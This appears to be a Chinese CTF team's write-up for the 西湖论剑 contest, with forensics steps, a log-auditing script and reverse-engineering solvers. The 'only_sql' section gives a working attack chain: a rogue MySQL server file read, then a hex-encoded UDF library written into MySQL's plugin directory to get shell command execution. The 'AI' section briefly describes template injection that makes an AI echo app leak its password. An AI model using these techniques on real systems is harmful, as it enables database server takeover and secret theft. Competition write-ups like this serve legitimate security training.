# 西湖论剑 C0deX 战队 WP

# Misc

# 2024 签到题

根据附件中图片的详细信息发送文字到公众号获得 flag

DASCTF{gcsis_2024_we_are_ready}

# 数据安全 - easy_tables

附件得到四张表,大致看了下 pdf 中的说明,大致意思就是需要用前三张表也就是 user、permission、tables 获得每个用户所属组的可工作时间段和可以执行的操作,根据 actionlog 表获得具体工作的时间和实际执行的操作,对照知道哪些进行了违规操作,将每个表中的编号按顺序排列之后的 md5 便是最终 flag

看了下 actionlog 表发现数据很多,通过脚本进行处理并且筛选出不符合规定的操作

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import re
from datetime import datetime

class LogProcessor:
def __init__(self, users_file='users.csv', actions_file='actionlog.csv', tables_file='tables.csv', permissions_file='permissions.csv'):
self.users_file = users_file
self.actions_file = actions_file
self.tables_file = tables_file
self.permissions_file = permissions_file

self.users, self.user_dict = self.extract_user_list()
self.action_logs = self.extract_actions()
self.tables, self.table_dict = self.extract_tables()
self.permissions_list = self.extract_permissions()

def is_time_in_ranges(self, time_str, time_ranges):
target_time = datetime.strptime(time_str, '%H:%M:%S')

for range_str in time_ranges:
start_time, end_time = map(lambda x: datetime.strptime(x, '%H:%M:%S'), range_str.split('~'))
if start_time <= target_time <= end_time:
return True

return False

def extract_sql_operation_type(self, sql_statement):
pattern = re.compile(r'\b(insert|delete|update|select)\b', re.IGNORECASE)
match = pattern.search(sql_statement)

if match:
return match.group(1).upper()

return None

def extract_table_name_from_sql(self, sql_statement):
pattern = re.compile(r'\bFROM\b\s+([^\s;]+)|\bJOIN\b\s+([^\s;]+)|\bUPDATE\b\s+([^\s;]+)|\bINTO\b\s+([^\s;]+)|\bMERGE\b\s+([^\s;]+)|\bTABLE\b\s+([^\s;]+)', re.IGNORECASE)
match = pattern.search(sql_statement)

if match:
return next(group for group in match.groups() if group is not None)

return None

def extract_user_list(self):
user_file = open(self.users_file, encoding='utf-8')
content = user_file.read()
users_list = list()
user_dict = {}

rows = content.split('\n')
for row in rows:
user_info = row.split(',')
users_list.append(row.split(','))
user_dict[user_info[1]] = int(user_info[0])

return users_list, user_dict

def extract_actions(self):
action_log_file = open(self.actions_file, encoding='utf-8')
line = action_log_file.read()
log_lines = line.split('\n')

return log_lines

def extract_tables(self):
tables_file = open(self.tables_file, encoding='utf-8')
content = tables_file.read()
tables_list = list()
table_dict = {}

rows = content.split('\n')
for row in rows:
table_info = row.split(',')
tables_list.append(row.split(','))
table_dict[table_info[1]] = int(table_info[0])

return tables_list, table_dict

def extract_permissions(self):
permissions_file = open(self.permissions_file, encoding='utf-8')
line = permissions_file.read()
lines = line.split('\n')
permissions_list = []

for line in lines:
pattern = re.compile(r'(\w+),(\w+),(".*?"|[^,]+),(".*?"|[^,]+)')
matches = pattern.match(line)

if matches:
group1 = matches.group(1)
group2 = matches.group(2)

operations_str = matches.group(3)
operations_list = operations_str.strip('\"').split(',') if '\"' in operations_str else [operations_str]

numbers_str = matches.group(4)
numbers_list = numbers_str.strip('\"').split(',') if '\"' in numbers_str else [numbers_str]

permissions_list.append([group1, group2, operations_list, numbers_list])

return permissions_list

def process_actions(self):
result_flags = []

for logline in self.action_logs:
values = logline.split(',', 3)
if values[1] in self.user_dict.keys():
tuser = self.users[self.user_dict[values[1]] - 1]
tpermissions = self.permissions_list[int(tuser[3]) - 1]
sql_head = tpermissions[2]
table_pass = tpermissions[3]

table_name = self.extract_table_name_from_sql(values[3])
ttable = self.tables[self.table_dict[table_name] - 1]

if str(self.table_dict[table_name]) in table_pass:
sql_type = self.extract_sql_operation_type(values[3]).lower()
if sql_type in sql_head:
time_ranges = [item.replace('"', '') for item in ttable[2:]]
datetime_object = datetime.strptime(values[2], '%Y/%m/%d %H:%M:%S')
time_only = datetime_object.time()

if self.is_time_in_ranges(str(time_only), time_ranges):
pass
else:
son = tuser[0] + '_' + tpermissions[0] + '_' + str(self.table_dict[table_name]) + '_' + values[0]
result_flags.append(son)
else:
son = tuser[0] + '_' + tpermissions[0] + '_' + str(self.table_dict[table_name]) + '_' + values[0]
result_flags.append(son)
else:
son = tuser[0] + '_' + tpermissions[0] + '_' + str(self.table_dict[table_name]) + '_' + values[0]
result_flags.append(son)
ttable = self.tables[self.table_dict[table_name] - 1]
else:
son = '0_0_0_' + values[0]
result_flags.append(son)

return result_flags

def custom_sort(self, item):
p = item.split('_')
return tuple(map(int, p))

def print_sorted_list(self, sorted_list):
for i in sorted_list:
print(i, end='')
print(',', end='')

def main(self):
result_flags = self.process_actions()

sorted_list = sorted(result_flags, key=self.custom_sort)
self.print_sorted_list(sorted_list)

if __name__ == "__main__":
log_processor = LogProcessor()
log_processor.main()

将每个表格中的表头去除运行脚本进行处理得到

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0_0_0_6810,0_0_0_8377,6_14_91_6786,7_64_69_3448,9_18_61_5681,30_87_36_235,31_76_85_9617,49_37_30_8295,75_15_43_8461,79_3_15_9011

md5 之后得到 flag

271b1ffebf7a76080c7a6e134ae4c929

# easy_rawraw

得到附件,一个加密压缩包,一个内存 raw 文件,需要进行取证

首先 passware 爆破得到用户密码 das123admin321,发现不是压缩包密码,利用 vol 对 raw 文件进行取证

filescan 过滤 zip 得到了 pass.zip,dump 下来爆破压缩包密码

解开得到都是 md5 的密码本,最终利用 winhex 直接对 raw 文件进行搜索得到了压缩包密码

DasrIa456sAdmIn987,后续发现可以 strings 进行 grep 更快一些

解压出来 veracrypt 进行挂载,密码本作为 keyfile

用户密码 das123admin321 作为解开表格的密码

搜索 DAS 得到 flag

DASCTF{5476d4c4ade0918c151aa6dcac12d130}

# AI

# AI - 回声海螺

发现输入框有点眼熟,尝试输入一些字,发现会有三遍的回声

尝试一下模板注入带出 password

在几次尝试之后得到了密码

由于是复现环境,所以并没有弹窗出 flag,在比赛期间弹窗得到 flag

# Crypto

# 0r1cle

非预期,在输入 65 个左右的 0 之后获得 flag

# Web

# only_sql

使用 https://github.com/c0cc/fakeMysal/blob/master/fakeMysqlServer.py 配合 vps 读源码,拿到账密和数据库连接即可 root:1q2w3e4r5t!@#

执行

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select unhex('7f454c4602010100000000000000000003003e0001000000a00b0000000000004000000000000000882c0000000000000000000040003800070040001c001b000100000005000000000000000000000000000000000000000000000000000000d416000000000000d41600000000000000002000000000000100000006000000101e000000000000101e200000000000101e2000000000007802000000000000800200000000000000002000000000000200000006000000201e000000000000201e200000000000201e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e574640400000004140000000000000414000000000000041400000000000094000000000000009400000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000101e000000000000101e200000000000101e200000000000f001000000000000f0010000000000000100000000000000040000001400000003000000474e55005c08ddf79a6da5143daa80e4a7efb410a96c4a44000000001100000012000000020000000700000080080248811944c91ca440039804688312000000140000001500000017000000180000001a0000001d0000001f000000000000002000000000000000210000002200000023000000240000002500000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cdc2f9bfba1f7066a9745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe1200000000000000000000000000000000000000000000000000000000cd0000001200000000000000000000000000000000000000fe00000012000000000000000000000000000000000000007c0100001200000000000000000000000000000000000000160000002000000000000000000000000000000000000000120100001200000000000000000000000000000000000000d400000012000000000000000000000000000000000000009101000012000000000000000000000000000000000000004001000012000000000000000000000000000000000000008a01000012000000000000000000000000000000000000008401000012000000000000000000000000000000000000000100000020000000000000000000000000000000000000000b0100001200000000000000000000000000000000000000e800000012000000000000000000000000000000000000007401000012000000000000000000000000000000000000006e01000012000000000000000000000000000000000000003200000020000000000000000000000000000000000000004c00000022000000000000000000000000000000000000000301000012000c00fe0f000000000000da000000000000005501000012000c0048120000000000000b000000000000001000000012000d00f81300000000000000000000000000009300000012000c000c0d0000000000006b000000000000002101000012000900900a0000000000000000000000000000b301000010001700882020000000000000000000000000003701000012000c007e110000000000002f00000000000000bf0100001000170090202000000000000000000000000000b600000012000c00080e0000000000000b00000000000000c500000012000c00130e00000000000063000000000000004701000012000c00ad110000000000009b000000000000007600000012000c00010d0000000000000b00000000000000a900000012000c00770d0000000000009100000000000000ac01000010001600882020000000000000000000000000002701000012000c0073110000000000000b00000000000000db00000012000c00760e0000000000005c010000000000001901000012000c00d8100000000000009b000000000000005b00000012000c007a0c0000000000008700000000000000ef00000012000c00d20f0000000000002c000000000000006501000012000c005312000000000000a301000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65006c69625f6d7973716c7564665f7379735f696e666f5f696e6974006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f007379735f6765745f696e6974007379735f6765745f6465696e6974007379735f67657400676574656e76007374726c656e007379735f7365745f696e6974006d616c6c6f63007379735f7365745f6465696e69740066726565007379735f736574006d656d63707900736574656e76007379735f657865635f696e6974007379735f657865635f6465696e6974007379735f657865630073797374656d007379735f6576616c5f696e6974007379735f6576616c5f6465696e6974007379735f6576616c00706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e313400474c4942435f322e3400474c4942435f322e322e3500000000020002000200000002000200030002000200020000000400020002000200000002000100010001000100010001000100010001000100010001000100010001000100010001000100010000000000000001000300a201000010000000000000009491960600000400c4010000100000001469690d00000300cf01000010000000751a690900000200d901000000000000101e2000000000000800000000000000700c000000000000181e2000000000000800000000000000300c000000000000802020000000000008000000000000008020200000000000e01f20000000000006000000040000000000000000000000e81f200000000000060000000b0000000000000000000000f01f20000000000006000000100000000000000000000000f81f2000000000000600000011000000000000000000000018202000000000000700000001000000000000000000000020202000000000000700000002000000000000000000000028202000000000000700000003000000000000000000000030202000000000000700000005000000000000000000000038202000000000000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into dumpfile '/usr/lib/mysql/p1ugin/mysqludf111.so';

create function sys_eval returns string soname "mysqludf111.so";

select sys_eval('env');

# Reverse

# MZ

所以每一个输入的字母都必须满足两个判断中的一个,否则就会输出 Wrong flag

直接爆破发现有多解,不能直接爆破,需要使用 DFS 深度优先算法去遍历所有的解法。由题目提示知道 flag 是有意义的字符串,发现比较像 flag 的字符串,输入发现正确。就不用通过 v9 去进行 sha1 判断了。

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from asyncio import sleep
import hashlib
import string


data = [0x00000005, 0x00F0F7D8, 0x00000002, 0x00F0E2E0, 0x00000014, 0x00F11E10, 0x00000015, 0x00F0E9D8, 0x0000002B, 0x00F10CB0, 0x00000076, 0x00F0CD70, 0x0000005F, 0x00F0CE58, 0x0000000C, 0x00F0EAC8, 0x0000005D, 0x00F0A438, 0x00000067, 0x00F0A950, 0x0000000D, 0x00F10CF0, 0x00000045, 0x00F0D288, 0x0000006C, 0x00F10030, 0x0000004A, 0x00F0E7C0, 0x00000045, 0x00F090E0, 0x00000020, 0x00F0C858, 0x00000050, 0x00F0BB88, 0x00000071, 0x00F0C410, 0x00000045, 0x00F0E4C0, 0x00000044, 0x00F0F0E0, 0x0000006A, 0x00F10A08, 0x00000050, 0x00F0D778, 0x0000001F, 0x00F0CF18, 0x00000036, 0x00F0CD68, 0x00000009, 0x00F0BEA8, 0x00000056, 0x00F0E380, 0x00000028, 0x00F0CA70, 0x0000000A, 0x00F0AA10, 0x00000035, 0x00F0DAA8, 0x0000007D, 0x00F11930, 0x0000007D, 0x00F0BA98, 0x0000002B, 0x00F0B3D8, 0x00000001, 0x00F0C648, 0x00000059, 0x00F09D90, 0x00000031, 0x00F0CB20, 0x00000058, 0x00F09F70, 0x00000002, 0x00F10780, 0x00000062, 0x00F0B2E0, 0x00000015, 0x00F0F318, 0x00000032, 0x00F0F798, 0x00000067, 0x00F10648, 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0x00000024, 0x00F100B0, 0x00000034, 0x00F0AF70, 0x00000000, 0x00F0BF68, 0x00000053, 0x00F12010, 0x00000079, 0x00F12110, 0x00000021, 0x00F122D0, 0x00000010, 0x00F0CE28, 0x00000045, 0x00F0B2C8, 0x00000011, 0x00F0E630, 0x0000006D, 0x00F0CDF0, 0x00000021, 0x00F0D978, 0x00000017, 0x00F10C50, 0x0000005E, 0x00F094F8, 0x0000001B, 0x00F0E810, 0x0000006B, 0x00F11348, 0x0000007C, 0x00F128D0, 0x00000032, 0x00F0AAA0, 0x0000006B, 0x00F0D818, 0x00000022, 0x00F0BA60, 0x00000028, 0x00F0CEA8, 0x00000030, 0x00F0F8C8, 0x00000030, 0x00F11F48, 0x0000005C, 0x00F0E130, 0x0000005B, 0x00F0F200, 0x0000000E, 0x00F0EBA8, 0x00000041, 0x00F110C0, 0x0000000A, 0x00F12208, 0x00000033, 0x00F0A888, 0x0000004B, 0x00F0EF60, 0x00000008, 0x00F0A1D0, 0x00000009, 0x00F0AF10, 0x00000004, 0x00F0A750, 0x00000023, 0x00F0BC68, 0x00000031, 0x00F0B318, 0x00000062, 0x00F10A10, 0x00000059, 0x00F12348, 0x00000015, 0x00F0EBA8, 0x00000003, 0x00F0FC20, 0x00000022, 0x00F12B88, 0x0000001C, 0x00F105D0, 0x00000009, 0x00F12BD0, 0x00000043, 0x00F096D0, 0x00000051, 0x00F09DF0, 0x0000004B, 0x00F0E0A0, 0x0000001C, 0x00F0BDC8, 0x00000059, 0x00F10F20, 0x0000000D, 0x00F0B940, 0x00000067, 0x00F0AE80, 0x00000007, 0x00F0D8C8, 0x0000006B, 0x00F0CE00, 0x00000040, 0x00F0E288, 0x0000006A, 0x00F0CDB0, 0x0000002E, 0x00F0C9F0, 0x00000042, 0x00F0DC30, 0x00000079, 0x00F0C730, 0x00000071, 0x00F0C078, 0x00000040, 0x00F0F3F8, 0x0000002B, 0x00F0FA18, 0x0000006E, 0x00F0DC40, 0x0000006F, 0x00F10360, 0x00000009, 0x00F0DEB8, 0x0000000F, 0x00F0D3B8, 0x00000009, 0x00F121A8, 0x00000023, 0x00F091A8, 0x0000004C, 0x00F10BC0, 0x00000027, 0x00F0C1F8, 0x00000023, 0x00F0DD80, 0x00000004, 0x00F0D298, 0x00000067, 0x00F09AE0, 0x00000048, 0x00F09AE8, 0x00000067, 0x00F115E8, 0x0000006D, 0x00F0DBB8, 0x0000005C, 0x00F096D0, 0x00000056, 0x00F0E758, 0x0000003E, 0x00F0B030, 0x00000061, 0x00F09A00, 0x00000032, 0x00F0A3B8, 0x00000052, 0x00F12460, 0x0000006F, 0x00F12340, 0x00000060, 0x00F09C48, 0x00000053, 0x00F0FC10, 0x00000014, 0x00F0AF98, 0x0000005D, 0x00F0AAF0, 0x00000075, 0x00F11480, 0x00000015, 0x00F0DFB8, 0x00000011, 0x00F0E0C8, 0x00000051, 0x00F100B0, 0x00000050, 0x00F12408, 0x0000006B, 0x00F0BFA8, 0x0000004C, 0x00F10018, 0x00000003, 0x00F11078, 0x00000003, 0x00F0A0C8, 0x00000023, 0x00F110C0, 0x00000077, 0x00F12A90, 0x00000023, 0x00F0D348, 0x0000006D, 0x00F0FDD8, 0x00000058, 0x00F11038, 0x00000010, 0x00F09190, 0x00000026, 0x00F0B3A8, 0x00000039, 0x00F0BDB0, 0x00000077, 0x00F09D78, 0x0000003F, 0x00F0E758, 0x0000000D, 0x00F0D648, 0x00000074, 0x00F0BE68, 0x00000064, 0x00F09D70, 0x0000003F, 0x00F0CD58, 0x00000066, 0x00F106A8, 0x00000060, 0x00F09B30, 0x0000004C, 0x00F0AA08, 0x00000075, 0x00F0CC10, 0x00000066, 0x00F0A940, 0x00000040, 0x00F0B2E0, 0x0000000C, 0x00F12538, 0x0000001F, 0x00F0B7A0, 0x0000001C, 0x00F10220, 0x0000006E, 0x00F0D2A8, 0x00000030, 0x00F09F20, 0x00000025, 0x00F0FAD8, 0x00000053, 0x00F112B0, 0x0000006A, 0x00F0EFE0, 0x00000026, 0x00F0AA78, 0x00000005, 0x00F0DA10, 0x00000002, 0x00F101F8, 0x0000002D, 0x00F09DC0, 0x00000008, 0x00F113E0, 0x0000006E, 0x00F10158, 0x00000067, 0x00F0DFF0, 0x00000077, 0x00F09218, 0x0000007E, 0x00F10950, 0x0000006C, 0x00F10610, 0x0000004A, 0x00F0DB58, 0x0000005C, 0x00F0BDA0, 0x0000004C, 0x00F09AB0, 0x00000036, 0x00F0DA80, 0x00000045, 0x00F126A8, 0x00000063, 0x00F0C6F0, 0x00000078, 0x00F0C6B8, 0x0000001E, 0x00F0A988, 0x0000004D, 0x00F102A8, 0x00000049, 0x00F0B1B8, 0x00000016, 0x00F0A180, 0x0000002E, 0x00F0FD70, 0x0000003D, 0x00F12188, 0x00000058, 0x00F0FFC8, 0x0000002C, 0x00F0AE48, 0x0000004B, 0x00F12AA0, 0x0000001D, 0x00F0B510, 0x00000075, 0x00F126E0, 0x00000044, 0x00F09EA8, 0x0000000D, 0x00F0CCD0, 0x0000006E, 0x00F11770, 0x0000003B, 0x00F12C50, 0x00000009, 0x00F12AB0, 0x00000031, 0x00F0C0F8, 0x0000002E, 0x00F0F078, 0x00000037, 0x00F11AD0, 0x0000001D, 0x00F0C628, 0x00000022, 0x00F116D0, 0x00000067, 0x00F11090, 0x00000052, 0x00F090F0, 0x00000077, 0x00F0A410, 0x00000036, 0x00F0F308, 0x0000006F, 0x00F09608, 0x00000053, 0x00F11C60, 0x00000071, 0x00F0BB90, 0x00000075, 0x00F0D118, 0x00000040, 0x00F0C108, 0x00000070, 0x00F128C8, 0x00000072, 0x00F0E918, 0x0000000F, 0x00F12968, 0x0000006F, 0x00F0F128, 0x00000023, 0x00F0A408, 0x00000033, 0x00F096D0, 0x00000067, 0x00F10640, 0x00000048, 0x00F0D348, 0x0000007E, 0x00F0ED48, 0x0000002B, 0x00F0F130, 0x00000052, 0x00F0FA08, 0x00000000, 0x00F0B240, 0x00000034, 0x00F093A8, 0x0000001C, 0x00F0CED8, 0x00000058, 0x00F0C0C0, 0x00000015, 0x00F11F78, 0x00000030, 0x00F0AC90, 0x0000002F, 0x00F0FC40, 0x0000002B, 0x00F11910, 0x00000048, 0x00F10138, 0x00000062, 0x00F11A70, 0x0000004D, 0x00F0EE88, 0x0000003D, 0x00F11C80, 0x00000030, 0x00F0BD38, 0x00000019, 0x00F0E9D0, 0x0000007B, 0x00F0BC30, 0x0000006A, 0x00F0A070, 0x00000076, 0x00F12538, 0x00000000, 0x00F0C038, 0x0000006D, 0x00F0FDD0, 0x0000004B, 0x00F0EBE0, 0x0000002E, 0x00F0A530, 0x0000004C, 0x00F0C470, 0x00000027, 0x00F0E220, 0x0000002A, 0x00F11EC0, 0x00000052, 0x00F0BEE8, 0x00000071, 0x00F0DBF0, 0x0000004C, 0x00F0B148, 0x0000000E, 0x00F0FBC8, 0x00000055, 0x00F0B2D0, 0x00000006, 0x00F0CE90, 0x00000002, 0x00F10240, 0x00000073, 0x00F0C0E8, 0x00000064, 0x00F0B978, 0x0000004A, 0x00F0E4C8, 0x0000007E, 0x00F09E68, 0x0000000F, 0x00F0CFA8, 0x00000038, 0x00F11000, 0x00000041, 0x00F11528, 0x0000002D, 0x00F0A638, 0x00000051, 0x00F117E0, 0x00000013, 0x00F09200, 0x00000074, 0x00F102E0, 0x0000007B, 0x00F0DF90, 0x0000006E, 0x00F098A0, 0x00000055, 0x00F0D6A0, 0x00000059, 0x00F0F9C8, 0x00000043, 0x00F0B8F0, 0x00000006, 0x00F10D08, 0x00000041, 0x00F0D7B0, 0x0000004A, 0x00F12BA0, 0x00000049, 0x00F097B0, 0x00000006, 0x00F0EB58, 0x00000041, 0x00F0D658, 0x00000030, 0x00F0C030, 0x00000074, 0x00F12490, 0x00000011, 0x00F0E080, 0x00000073, 0x00F0C9B0, 0x0000003A, 0x00F11FF0, 0x0000000D, 0x00F0FDA8, 0x00000012, 0x00F0C800, 0x00000038, 0x00F0DC18, 0x00000046, 0x00F0BAF8, 0x0000002A, 0x00F0AC78, 0x00000067, 0x00F0FFC0, 0x0000006B, 0x00F0B5A8, 0x0000005F, 0x00F12838, 0x00000036, 0x00F09A20, 0x0000003F, 0x00F10CF8, 0x00000046, 0x00F0E8C8, 0x00000062, 0x00F0E2C8, 0x0000001D, 0x00F10FD8, 0x00000001, 0x00F121A0, 0x0000004B, 0x00F0AA00, 0x00000032, 0x00F0C960, 0x00000018, 0x00F0F900, 0x0000005E, 0x00F11170, 0x00000067, 0x00F0FA88, 0x0000002B, 0x00F0F610, 0x00000007, 0x00F0C910, 0x00000005, 0x00F09B50, 0x0000002E, 0x00F0EEE8, 0x00000015, 0x00F0A898, 0x0000000E, 0x00F0BF70, 0x00000071, 0x00F10108, 0x00000027, 0x00F11BC8, 0x0000004B, 0x00F098B8, 0x00000031, 0x00F0F198, 0x00000060, 0x00F0CF78, 0x00000053, 0x00F0ED78, 0x0000007E, 0x00F0A138, 0x0000001C, 0x00F0C120, 0x0000005A, 0x00F0C5E8, 0x0000003E, 0x00F0B468, 0x00000010, 0x00F0AF28, 0x00000018, 0x00F0C808, 0x0000006D, 0x00F11900, 0x00000036, 0x00F113A0, 0x0000001A, 0x00F0B8B8, 0x0000000B, 0x00F12370, 0x00000077, 0x00F0D580, 0x00000031, 0x00F0E590, 0x00000008, 0x00F0D800, 0x00000019, 0x00F12050, 0x00000014, 0x00F0D310, 0x00000033, 0x00F0A708, 0x00000061, 0x00F119F8, 0x00000004, 0x00F09E08, 0x0000003C, 0x00F12B30, 0x00000077, 0x00F0AC38, 0x00000023, 0x00F0A2F0, 0x00000000, 0x00F100D8, 0x00000062, 0x00F0E650, 0x00000020, 0x00F0F220, 0x00000044, 0x00F0CA60, 0x00000043, 0x00F0AB58, 0x00000058, 0x00F096E8, 0x00000013, 0x00F0CBB0, 0x00000056, 0x00F0C758, 0x00000032, 0x00F11288, 0x00000031, 0x00F0EC20, 0x00000072, 0x00F0A600, 0x00000046, 0x00F0B558, 0x00000023, 0x00F0EA80, 0x00000057, 0x00F0DF88, 0x00000038, 0x00F104B0, 0x0000003A, 0x00F10828, 0x00000049, 0x00F0EB00, 0x00000043, 0x00F09A78, 0x00000065, 0x00F0DC58, 0x00000018, 0x00F0E048, 0x00000043, 0x00F12768, 0x00000040, 0x00F0D8F8, 0x00000069, 0x00F0AFA0, 0x00000024, 0x00F0AA08, 0x00000038, 0x00F0DCF0, 0x00000069, 0x00F11BF0, 0x0000000B, 0x00F104D8, 0x00000042, 0x00F107E0, 0x0000002E, 0x00F0CAB8, 0x00000032, 0x00F0DD28, 0x00000013, 0x00F0B120, 0x00000053, 0x00F11798, 0x00000067, 0x00F0F2C0, 0x0000001D, 0x00F0FD80, 0x00000073, 0x00F0A498, 0x0000003E, 0x00F0AC38, 0x00000073, 0x00F0AFA0, 0x00000009, 0x00F0C078, 0x00000033, 0x00F0A020, 0x00000006, 0x00F0C8C8, 0x00000054, 0x00F0FD98, 0x00000021, 0x00F10BC0, 0x00000054, 0x00F11888, 0x00000014, 0x00F0D348, 0x00000048, 0x00F104C0, 0x00000074, 0x00F0E458, 0x00000078, 0x00F0DBC0, 0x00000019, 0x00F0E0C0, 0x00000034, 0x00F0FAD8, 0x00000023, 0x00F111E0, 0x0000001A, 0x00F10818, 0x00000003, 0x00F0D830, 0x00000029, 0x00F11840, 0x0000002A, 0x00F0CAA8, 0x0000005E, 0x00F0D930, 0x00000030, 0x00F11B60, 0x00000014, 0x00F11270, 0x0000005D, 0x00F0A648, 0x00000013, 0x00F11060, 0x0000001E, 0x00F0A2D8, 0x00000079, 0x00F0D188, 0x00000070, 0x00F0E610, 0x0000004B, 0x00F0D250, 0x00000054, 0x00F0CF18, 0x00000072, 0x00F0F8C8, 0x00000030, 0x00F0ECE0, 0x0000000E, 0x00F10BD0, 0x00000063, 0x00F0FF68, 0x00000024, 0x00F0E488, 0x0000004D, 0x00F0A200, 0x00000038, 0x00F0E210, 0x0000000B, 0x00F0E150, 0x0000006E, 0x00F10148, 0x0000004D, 0x00F11E10, 0x00000074, 0x00F10318, 0x0000006C, 0x00F0C188, 0x00000037, 0x00F0C620, 0x0000001E, 0x00F0F358, 0x0000004F, 0x00F0AC10, 0x0000007D, 0x00F0EC68, 0x0000004F, 0x00F0D350, 0x00000049, 0x00F11A38, 0x00000071, 0x00F09FD0, 0x00000000, 0x00F0C2A8, 0x00000008, 0x00F0D5B8, 0x00000040, 0x00F0BE00, 0x00000000, 0x00F0C5C0, 0x0000001E, 0x00F0EE90, 0x00000042, 0x00F11910, 0x0000004B, 0x00F0B850, 0x0000000D, 0x00F0EEF0, 0x00000035, 0x00F118A0, 0x00000052, 0x00F12300, 0x00000023, 0x00F0F768, 0x00000033, 0x00F10408, 0x00000036, 0x00F0F168, 0x0000005F, 0x00F0A570, 0x0000001B, 0x00F0FC70, 0x0000004D, 0x00F0B290, 0x0000001D, 0x00F0EFE8, 0x0000005F, 0x00F10210, 0x00000075, 0x00F0B2B0, 0x00000055, 0x00F0BC80, 0x0000001D, 0x00F11928, 0x00000057, 0x00F11F58, 0x00000053, 0x00F0F850]
base = 0xF09078
def dfs(array, node, path, depth):
if depth == 48:
print(path)
result.append(path)
return
if depth > 48:
return
for i in string.ascii_letters+string.digits+"_!~@":
i = ord(i)
try:
if i == (array[2*(i+node)]+5) or i == (array[2*(i+node)]-5):
neighbor = (array[2*(i+node)+1] - base) // 8
dfs(array, neighbor, path + chr(i), depth + 1)
except IndexError:
return
result = []
dfs(data, 0, "", 0)
# Somet1mes_ch0ice_i5_more_import@nt_tHan_effort~!

# Babycpp

数据输入后,经过魔改 Tea 加密和 RC4 加密后,与 cipher 进行对比

Tea 加密由 (std::for_each<unsigned long *,main::{lambda (unsigned long
&)#1}>)(v21, v16_str, v16_str + 4i64 * v15_0c, v10); 进入

void **fastcall main::{lambda(unsigned long &)#1}::operator()(**int64
**a1, __int64
a2) 进行密钥的赋值,接着进行在 text_79 中进行 delate 赋值并进行加密

**int64 **fastcall a43ff4190df3b6eee1d76b074c6c98d7::unknown9(unsigned
long *)::{lambda (void)#1}::operator () 最终的加密在该函数中进行

加密后 b63a8f7f7e4797a753840481428f0f18::unknown11 (v12, v11); 进行 rc4 加密

**int64 **fastcall
b63a8f7f7e4797a753840481428f0f18::unknown11(std::vector <unsigned char>
&)::{lambda (unsigned char &)#1}::operator () 进行主要的加密操作

此部分直接动调 S_boxss

最终脚本如下

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def xtea_decrypt(rounds, block, key):

v0, v1 = block

delta = 0xDEADBEEF

total = delta * rounds

for _ in range(rounds):

v1 = (v1 - (((v0 << 4 ^ v0 >> 5) + v0) ^ (total + key[(total>>11) & 3]))) & 0xFFFFFFFF

total = (total - delta) & 0xFFFFFFFF

v0 = (v0 - (((v1 << 4 ^ v1 >> 5) + v1) ^ (total + key[total & 3]))) & 0xFFFFFFFF

return v0, v1



def adjust_value(val):

return val if val >= 0 else 256 + val



def merge_data(data):

return data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24)



def process_data(cipher, Xor, add, st):

modified_data = [(adjust_value(cipher[i] ^ Xor[i]) - add[i]) ^ st[i] for i in range(50)]

return [merge_data(modified_data[i*4:(i+1)*4]) for i in range(12)]



def perform_decryption():

key = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]

num_rounds = 0x100





cipher = [0x33, 0xB2, 0x49, 0x8C, 0x39, 0xDD, 0x60, 0x5F, 0x5F, 0x77, 0x72, 0xAB, 0x38, 0xD9, 0xED, 0xE7, 0xF3, 0xF0, 0x66, 0x67, 0x16, 0xC8, 0x53, 0x80, 0x71, 0xB2, 0xFA, 0x5E, 0x7C, 0x2B, 0xBB, 0x0B, 0xE5, 0x88, 0x82, 0x0B, 0x06, 0x8C, 0x8D, 0xAD, 0x47, 0xB5, 0x85, 0xBB, 0x06, 0x8D, 0x01, 0x2B]

Xor = [0xee, 0x17, 0x80, 0xe3, 0x17, 0xa, 0xe5, 0x53, 0x33, 0x9e, 0x2e, 0x1d, 0x5, 0x6f, 0xb4, 0x51, 0x9a, 0x36, 0x5c, 0xbd, 0x8, 0xa2, 0x34, 0xa3, 0x65, 0x59, 0x62, 0xae, 0x34, 0xd, 0xd0, 0xbc, 0x30, 0x81, 0xeb, 0x8c, 0x65, 0x36, 0xfd, 0x7e, 0x4a, 0x1e, 0x10, 0x27, 0xdd, 0x5a, 0xa4, 0xb]

add = [0x56, 0x2d, 0xf8, 0x42, 0x7f, 0xc2, 0x26, 0x63, 0x83, 0x32, 0xc4, 0x3f, 0xb9, 0xa8, 0x7f, 0xc9, 0x43, 0x22, 0xc6, 0x89, 0x6b, 0x5d, 0xef, 0x2e, 0xe8, 0x20, 0xcd, 0xbf, 0x84, 0xf0, 0x7b, 0x4d, 0xd2, 0x3f, 0x4f, 0xb7, 0x95, 0xf0, 0xcd, 0x96, 0x57, 0x56, 0x43, 0xf1, 0x6b, 0x1, 0xc6, 0x36]

st = [0x3b, 0x3b, 0x3e, 0xe8, 0x2c, 0x72, 0x2e, 0xc7, 0xc7, 0xde, 0x12, 0xd1, 0x91, 0x34, 0x61, 0x59, 0x1d, 0x13, 0x81, 0xd4, 0x87, 0x67, 0xeb, 0x73, 0x7c, 0x58, 0xa4, 0x6a, 0x98, 0x97, 0x1f, 0x83, 0x2d, 0xa3, 0x90, 0x76, 0xdb, 0xf0, 0x18, 0x89, 0x8d, 0xe2, 0xa7, 0x2e, 0x44, 0xbc, 0x4c, 0x6c]



final_data = process_data(cipher, Xor, add, st)



for i in range(0, 12, 2):

decrypted_block = xtea_decrypt(num_rounds, final_data[i:i+2], key)

print(f"Decrypted Block {i//2}: {decrypted_block}")



perform_decryption()

# 数据安全

# Cyan-1

注册后做题就行了